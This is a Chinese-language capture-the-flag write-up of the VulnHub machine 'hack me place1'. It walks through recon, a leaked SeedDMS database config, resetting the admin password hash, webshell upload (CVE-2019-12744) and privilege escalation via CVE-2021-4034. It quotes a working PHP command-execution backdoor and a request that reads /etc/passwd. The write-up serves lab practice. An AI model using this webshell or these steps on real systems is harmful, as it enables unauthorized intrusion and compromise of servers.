vulnhub靶机 hack me place1

端口信息

mysql空密码登录尝试

web探测

 

这里用了moonlight这个模板，但是没有公开漏洞信息。

目录爆破并没有什么明显信息

到这没思路了，看了别人的wp原来是从js入手

信息收集过程中不能忽视js的收集，有时可能会有接口信息。

main.js下发现存在接口信息。

是一个登录界面。

可以看到具体版本信息

去搜5.1.22大部分都是xss。

看一下5.1.10 searchsploit中的那个漏洞

# Exploit Title: [Remote Command Execution through Unvalidated File Upload in SeedDMS versions <5.1.11]
# Google Dork: [NA]
# Date: [20-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [SeedDMS versions <5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12744]

Exploit Steps:

Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.

PHP Backdoor Code:
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.

Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.

需要进入后台登录。

对这个目录爆破的时候发现了webdav

可以用cewl成字典去跑一下

这里seeddms源码可以在github上找到

可以settings中有部分信息，但是没什么用。

 

但是后续目录爆破可以看到存在一个配置文件

刚刚那个是模板文件，这个才是正式的配置文件，没有想到删除template

连接成功

seeddms user表下存在一组账号密码，尝试发现不是网站账户

这下应该是了

这里没有得到hash，不过我们可以改下数据库

生成md5

 

文件上传

searchsploit给的exp不能直接用，但是也给出了上传的点

 

 注意路径拼接需要去掉第二个目录

Getshell

提权

看到最后一行存在这个命令 cve 2021 4034

代码利用链接

 

 另外这里看到家目录下有一个saket用户，尝试用之前得到的账号密码登录

 成功登录并且是全权限

信息收集记得山穷水尽时候去找找js，看能否发现什么接口信息，并且得到一个具体的cms版本外，一个是找公开利用漏洞，另一个去找源码，看有什么可用信息。